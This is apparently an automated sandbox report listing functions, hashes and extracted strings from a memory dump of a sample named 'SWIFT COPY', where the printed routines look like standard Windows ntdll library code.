Opcode Fuzzy Hash: 627ed225925d45880b22a4b6ada99726e4e52cf258dd95d10dc0891289c4eda4
Instruction Fuzzy Hash: C49002A5201640929500B35C8444B0A950697E0305B95C056E1054564CC52989559235

Function 01372AF0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582458d073bad94ea21473cd9484aa25d96dfed6fa4a1ce9a72474eca334fa1d
Instruction ID: eff6feff76f528350016913379b3e0aa94f24f6e9d92f734ac49450e13be32e3
Opcode Fuzzy Hash: 582458d073bad94ea21473cd9484aa25d96dfed6fa4a1ce9a72474eca334fa1d
Instruction Fuzzy Hash: E4900229221500025145B65C064450B5446A7D63553D5C055F1416594CC62589695321

Function 01372AD0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2df35c503f7b568da42a38c45d3ee30f0ced5a369394f51a2b339cd5a46a69d
Instruction ID: c0f5ae66f5bc3d9750fc00f286ddad4b8c93eb7dd64e25fa6e9648b313872a97
Opcode Fuzzy Hash: d2df35c503f7b568da42a38c45d3ee30f0ced5a369394f51a2b339cd5a46a69d
Instruction Fuzzy Hash: 1890043D311500035105F75C07445075047D7D53553D5C071F1015554CD735CD755331

Function 01372D30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c389a65c8e2e0cad6aaa00256569f87c22291e1cbf168eb46d578327e3df48d
Instruction ID: 2bca55b3aee75c878f365ee787a658749b9a3e1ba192032dcd67b91f49d7f895
Opcode Fuzzy Hash: 0c389a65c8e2e0cad6aaa00256569f87c22291e1cbf168eb46d578327e3df48d
Instruction Fuzzy Hash: EE90022530150003E140725C54586069006E7E1305F95D051E0414558CD919895A5322

Function 01372D10 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a4e4ea723f81ba3980b1bf7196233e562ad57edbb4b45faa7dc56a29e0ba4cf
Instruction ID: a19c0b49b695ee36febc72647684606ef62d50b5b5212cbd93af5c9562f643e9
Opcode Fuzzy Hash: 8a4e4ea723f81ba3980b1bf7196233e562ad57edbb4b45faa7dc56a29e0ba4cf
Instruction Fuzzy Hash: 2F90022D21350002E180725C544860A500697D1306FD5D455A001555CCC919896D5321

Function 01372D00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 594c59761d7fb3a160282a1f1f18219f9c56cf8110537a65a794b449056fd516
Instruction ID: 70ac5801a6d47b03edaeea4ea9a081cd0e0f4e1e0fc0ce3ec0c1dbbbe0ca5c80
Opcode Fuzzy Hash: 594c59761d7fb3a160282a1f1f18219f9c56cf8110537a65a794b449056fd516
Instruction Fuzzy Hash: 8090022520554442E100765C5448A06500697D0309F95D051A1064599DC6398955A231

Function 01372DB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37ffd6712929c63db78a807128eb0a8f03ee95384dd8bbd8dc4bed056ec9075c
Instruction ID: 6b155f44085efaf6d905d815fb7248b55bb61e933bc58a49e8af02acd45e0a86
Opcode Fuzzy Hash: 37ffd6712929c63db78a807128eb0a8f03ee95384dd8bbd8dc4bed056ec9075c
Instruction Fuzzy Hash: 5590023524150402E141725C4444606500AA7D0345FD5C052A0424558EC6598B5AAB61

Function 01372DD0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 315ad6d6e52ad63720dbcffabf446f827a077c8e1053b84509ba91650431c587
Instruction ID: ce365e6772ec94ed08a19b1f551c4d9f50eed2fec62dbbe3e9b94e5d1f7fd7f6
Opcode Fuzzy Hash: 315ad6d6e52ad63720dbcffabf446f827a077c8e1053b84509ba91650431c587
Instruction Fuzzy Hash: AA90022524254152A545B25C44445079007A7E03457D5C052A1414954CC52A995AD721

Function 01372C60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fcf554303bac7e9b2f4ead5878e04c8dc0746b323395398313dac7820a7df32
Instruction ID: c7f33171ea8ecf04856039a13d717e75fbe3a01351bdf91b5ab4f47bd4eefe73
Opcode Fuzzy Hash: 3fcf554303bac7e9b2f4ead5878e04c8dc0746b323395398313dac7820a7df32
Instruction Fuzzy Hash: 7F90023520150842E100725C4444B46500697E0305F95C056A0124658DC619C9557621

Function 01372CA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fd89545d20f1cbc9fce2fef2434f6f54d57d91658fbb39fd930055819662956
Instruction ID: e921dee6a91cefae2623dedf5efbd4e413bbe7379fc5158abf90a8d6e2c72cbb
Opcode Fuzzy Hash: 1fd89545d20f1cbc9fce2fef2434f6f54d57d91658fbb39fd930055819662956
Instruction Fuzzy Hash: 0C90023520150402E100769C5448646500697E0305F95D051A5024559EC66989956231

Function 01372CF0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 807c96d42ce575a58e578c9da4e180f5d33fe0f5248758918859dc1c91d8d3c5
Instruction ID: 82d4d99bb666ded9b84b9ff20be80abb6fb02f7f8c2714bb90f82a67cf3a05ca
Opcode Fuzzy Hash: 807c96d42ce575a58e578c9da4e180f5d33fe0f5248758918859dc1c91d8d3c5
Instruction Fuzzy Hash: 9890023520150403E100725C5548707500697D0305F95D451A042455CDD65A89556221

Function 01372CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1c421b7b4d21a0c71a9317f1ed464fa53510e5bb18af445925c9d1348f2c632
Instruction ID: b604a1fbf5b61dbbb0d31fa6d5028dea1469ba80789161e8e00dd07b95ee50b5
Opcode Fuzzy Hash: b1c421b7b4d21a0c71a9317f1ed464fa53510e5bb18af445925c9d1348f2c632
Instruction Fuzzy Hash: C790022560550402E140725C5458706501697D0305F95D051A0024558DC65D8B5967A1

Function 01372F30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7691048fa78be4f2295952d09879fe7c44373df85cbbebd3aac613b35d826fc6
Instruction ID: c1dd6bc0620f7d52acbb1fd6a7c34cd109f5590712c5a50656d65c3da8bff263
Opcode Fuzzy Hash: 7691048fa78be4f2295952d09879fe7c44373df85cbbebd3aac613b35d826fc6
Instruction Fuzzy Hash: 7190026534150442E100725C4454B065006D7E1305F95C055E1064558DC61DCD566226

Function 01372F60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a40e7f1bcab098e9c54312d69eb913024e302abd6a2fe76e06c5fc0cb5335768
Instruction ID: 23743017fc2a98affd7701372bf0a9f78080ebf43595d32d68c3ce8445d1e4cb
Opcode Fuzzy Hash: a40e7f1bcab098e9c54312d69eb913024e302abd6a2fe76e06c5fc0cb5335768
Instruction Fuzzy Hash: CA90026521150042E104725C4444706504697E1305F95C052A2154558CC52D8D655225

Function 01372FB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 245b82958137291375325b35e23151326c3f60ebadf4165d34552bb6c3b1311e
Instruction ID: 843530578e468b6b60cba726b3dd0440de225512dca208571c20ebd6da5b2cbd
Opcode Fuzzy Hash: 245b82958137291375325b35e23151326c3f60ebadf4165d34552bb6c3b1311e
Instruction Fuzzy Hash: 9E900225601500429140726C88849069006BBE1315795C161A0998554DC55D89695765

Function 01372FA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 711a6d73048025d13bdac3e6da5c206a8758d80386572bc25508e49b3c3cd644
Instruction ID: 26c4f4ee0b3465d7a1b2dcf9cb734039464653bd5f714fc106ec017945999a78
Opcode Fuzzy Hash: 711a6d73048025d13bdac3e6da5c206a8758d80386572bc25508e49b3c3cd644
Instruction Fuzzy Hash: A490023520190402E100725C4848747500697D0306F95C051A5164559EC669C9956631

Function 01372F90 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23d7b0cce60aa037261960ad5c153dec1c284a1be9bb73f2be2a8750df672be7
Instruction ID: 191db09ca55dc75f0737320ce6f773eca6c202beebf81ce1281d0674516ff2fb
Opcode Fuzzy Hash: 23d7b0cce60aa037261960ad5c153dec1c284a1be9bb73f2be2a8750df672be7
Instruction Fuzzy Hash: A390023520190402E100725C485470B500697D0306F95C051A1164559DC62989556671

Function 01372FE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ec87b8d81f021b3250bb20fafbcb82eb7b4d58764251dd795568bc53fc7e4cd
Instruction ID: 4410aece0e157515a42d48c92c7f0d14f73ff8a6b9d5e9d239c3abcd7880c307
Opcode Fuzzy Hash: 2ec87b8d81f021b3250bb20fafbcb82eb7b4d58764251dd795568bc53fc7e4cd
Instruction Fuzzy Hash: A2900225211D0042E200766C4C54B07500697D0307F95C155A0154558CC91989655621

Function 01372E30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e916f98cd2b5e8309f3a05c224f2e61e02416e85110212d6a8b85f98ca9d4814
Instruction ID: c450dd27c4916c1ea90227399076696f38dbb4d047d634d44e26c03f640277cf
Opcode Fuzzy Hash: e916f98cd2b5e8309f3a05c224f2e61e02416e85110212d6a8b85f98ca9d4814
Instruction Fuzzy Hash: 6090022530150402E102725C4454606500AD7D1349FD5C052E1424559DC6298A57A232

Function 01372EA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22d65dbc3cb35e1205fe39aabcec745245ca3337099a9c0d0225587a399a65f3
Instruction ID: de3dc9a81f979e600ae707cc9af8f076d1e6304020197cfdeaf7cfd2de14f68d
Opcode Fuzzy Hash: 22d65dbc3cb35e1205fe39aabcec745245ca3337099a9c0d0225587a399a65f3
Instruction Fuzzy Hash: E990027520150402E140725C4444746500697D0305F95C051A5064558EC65D8ED96765

Function 01372E80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2915de3a87c3415fc6fe13c638f11b9878103f985fbdc9802ac9f937771039c2
Instruction ID: a936f33580fc65171e26a4bdc611a59c8ac3415a6a2e296c240f4cad93a8cd0c
Opcode Fuzzy Hash: 2915de3a87c3415fc6fe13c638f11b9878103f985fbdc9802ac9f937771039c2
Instruction Fuzzy Hash: 7090022560150502E101725C4444616500B97D0345FD5C062A1024559ECA298A96A231

Function 01372EE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fa14d1285183020b0126408648f12fe5029108ea5209b41211ff3cb4c5705d5
Instruction ID: 8123173a0bba171d775c6ae52ef827df9038ca96e69ff2d38190045c42d63e25
Opcode Fuzzy Hash: 4fa14d1285183020b0126408648f12fe5029108ea5209b41211ff3cb4c5705d5
Instruction Fuzzy Hash: 8F90026520190403E140765C4844607500697D0306F95C051A2064559ECA2D8D556235

Function 01373010 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdd692964a93281c48f13ae43f166bf3903cf8a376ecfa9969f52b124bcc323a
Instruction ID: e59f2fd5cd8c97099f6ae4ff2100f3a0a9c5c089defb408c25e82da26cb9b239
Opcode Fuzzy Hash: fdd692964a93281c48f13ae43f166bf3903cf8a376ecfa9969f52b124bcc323a
Instruction Fuzzy Hash: 7190022520194442E140735C4844B0F910697E1306FD5C059A4156558CC91989595721

Function 01373090 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c33edc35c9f32aacf859f46c184f9b896a47d91154b3b30069085470749e64ff
Instruction ID: 6270e504156014843e26a18515772b080353a3312c4317dcf5dc67faddc241c6
Opcode Fuzzy Hash: c33edc35c9f32aacf859f46c184f9b896a47d91154b3b30069085470749e64ff
Instruction Fuzzy Hash: 9B90022524150802E140725C84547075007D7D0705F95C051A0024558DC61A8A6967B1

Function 013739B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f43f63527320855286e8bccbcfbd037d77c8b98130e27f757c5092494e8aa81
Instruction ID: f3973d50f154819889dc68381b57c71fc104404ffe1a87926feadcec8d215841
Opcode Fuzzy Hash: 8f43f63527320855286e8bccbcfbd037d77c8b98130e27f757c5092494e8aa81
Instruction Fuzzy Hash: 4890022524555102E150725C44446169006B7E0305F95C061A0814598DC55989596321

Function 01373D10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 203e166f6ccf4c72eb593465df50deb0e51bd681851adbba2cd4d2ccc45488a8
Instruction ID: f01fdbec300fc50ec0ce52842bd3b85d4dffc9c1ea73041e372bda12c6dedcb1
Opcode Fuzzy Hash: 203e166f6ccf4c72eb593465df50deb0e51bd681851adbba2cd4d2ccc45488a8
Instruction Fuzzy Hash: 8C90023520250142E540735C5844A4E910697E1306BD5D455A0015558CC91889655321

Function 01373D70 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4e7fd8b1ce81eb38fc70cd1de4ea3d933c45af354ae21bb88516431e0247446
Instruction ID: 0b6234b0063267841b072a603353e0bba9ae76c406907db7c9c9888ad63d0567
Opcode Fuzzy Hash: c4e7fd8b1ce81eb38fc70cd1de4ea3d933c45af354ae21bb88516431e0247446
Instruction Fuzzy Hash: 6A90023920150402E510725C5844646504797D0305F95D451A042455CDC65889A5A221

Function 01372C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 591ad0d2e4758e0b81fe2ce38ac4425a8b26ac6f2eb2b288add2f838c6033286
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Function 01372890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0137293C
___swprintf_l.LIBCMT ref: 0137295E
___swprintf_l.LIBCMT ref: 013729A3
___swprintf_l.LIBCMT ref: 013AA52E

Strings

::ffff:0:%u.%u.%u.%u, xrefs: 013AA54E
::%hs%u.%u.%u.%u, xrefs: 013AA527
:%u.%u.%u.%u, xrefs: 013AA5B8
ffff:, xrefs: 013AA504

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: d92bcccd85640859e996fe03ce542956450e4e262e10a84a9290312c635c0f28
Instruction ID: e333b3761ff90b9f2a5ee217b121884658db347e16ed784e3dcd27a9f5c0519e
Opcode Fuzzy Hash: d92bcccd85640859e996fe03ce542956450e4e262e10a84a9290312c635c0f28
Instruction Fuzzy Hash: CC51E9B6A0011ABFDB21DB9C889097FFBF8FB092487548169F4A5D7641D338DE54CBA0

Function 013E2410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 013E24A6
___swprintf_l.LIBCMT ref: 013E24E2
___swprintf_l.LIBCMT ref: 013E257D
___swprintf_l.LIBCMT ref: 013E25A3
___swprintf_l.LIBCMT ref: 013E25C8
___swprintf_l.LIBCMT ref: 013E2608

Strings

::%hs%u.%u.%u.%u, xrefs: 013E249E
:%u.%u.%u.%u, xrefs: 013E25FF
ffff:, xrefs: 013E247D, 013E249D
::ffff:0:%u.%u.%u.%u, xrefs: 013E24DA

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 72206ab95083199f6f363f2e775078e5569028c994428690688886053dffc302
Instruction ID: 76f04f98630897ae196f5679ee96f43361819252b2a514d5d228f493a7daf989
Opcode Fuzzy Hash: 72206ab95083199f6f363f2e775078e5569028c994428690688886053dffc302
Instruction Fuzzy Hash: 71512771A00769AECB34DF5CC99487FFBFCEB48208B048459E496D76C1E6B4EA008B60

Function 01367630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

ExecuteOptions, xrefs: 013A46A0
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 013A4742
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 013A46FC
Execute=1, xrefs: 013A4713
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 013A4725
CLIENT(ntdll): Processing section info %ws..., xrefs: 013A4787
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 013A4655

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 03b8fad483cfda1ff9ae21432ade82bc83e7dea4fede088eda522ba4b2133826
Instruction ID: 509ee06940b61483d6c61f41dca989f004458c5af864d067e3ea6f7d1156e81f
Opcode Fuzzy Hash: 03b8fad483cfda1ff9ae21432ade82bc83e7dea4fede088eda522ba4b2133826
Instruction Fuzzy Hash: 9B513A3160021A7AEF25ABACDC85FFE7BACEF1431CF8440A9D605AB195E7719E418F50

Function 01406940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8848935565deeecae3b40dc4d36252ac36c0d5f22eb4f09df1253b8d6557a4c
Instruction ID: 86f27e4e7d86800311f2250e9fe969ad2bd3b871c677e0a991e15bfa18467224
Opcode Fuzzy Hash: d8848935565deeecae3b40dc4d36252ac36c0d5f22eb4f09df1253b8d6557a4c
Instruction Fuzzy Hash: 290236B1508342AFD306DF1AC490A6BBBF5EFD8714F01892EF9854B2A4DB31E945CB52

Function 0137B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 0137B6BF

Strings

+, xrefs: 0137B65A
-, xrefs: 0137B650
0, xrefs: 0137B66F
0, xrefs: 0137B695

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction ID: 470b156cf234f08afcc079c49847853e6b6c16c9dab3c2851875f3defdd1f71d
Opcode Fuzzy Hash: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction Fuzzy Hash: BC81C170E052899EEF358E6CC8917FEFFB5AF45328F184219D961A7299C73C9840CB61

Function 013E20E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 013E214F
___swprintf_l.LIBCMT ref: 013E2172

Strings

[, xrefs: 013E212B
%%%u, xrefs: 013E2146
]:%u, xrefs: 013E2169

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$[$]:%u
API String ID: 48624451-2819853543
Opcode ID: 28c5ce875c19698058696f76d6f6de625824814ad1cc2b451c766f9f423aa4cd
Instruction ID: cde21c3a4001a0db3a0fb1efe6b10d551d977032627b2230342c0ab67075aadc
Opcode Fuzzy Hash: 28c5ce875c19698058696f76d6f6de625824814ad1cc2b451c766f9f423aa4cd
Instruction Fuzzy Hash: 7B2135BAA00229ABDB11DF7DDC44AEF7BFCEF58658F440116E905E3240E735DA058BA1

Function 0135F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 013A02BD
RTL: Re-Waiting, xrefs: 013A031E
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 013A02E7

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: dcc4e90e889269ff603df8c39a096385a4c50d065c77d49b6108b246f7b93b04
Instruction ID: 002f0389849f4ec19e7709998b9949c16906c985a3468d9084fd588fb3dc9c32
Opcode Fuzzy Hash: dcc4e90e889269ff603df8c39a096385a4c50d065c77d49b6108b246f7b93b04
Instruction Fuzzy Hash: D2E1BF306047419FD765CF2CC884B6ABBE8FB84728F140A1DF9A58B6E1D774E944CB52

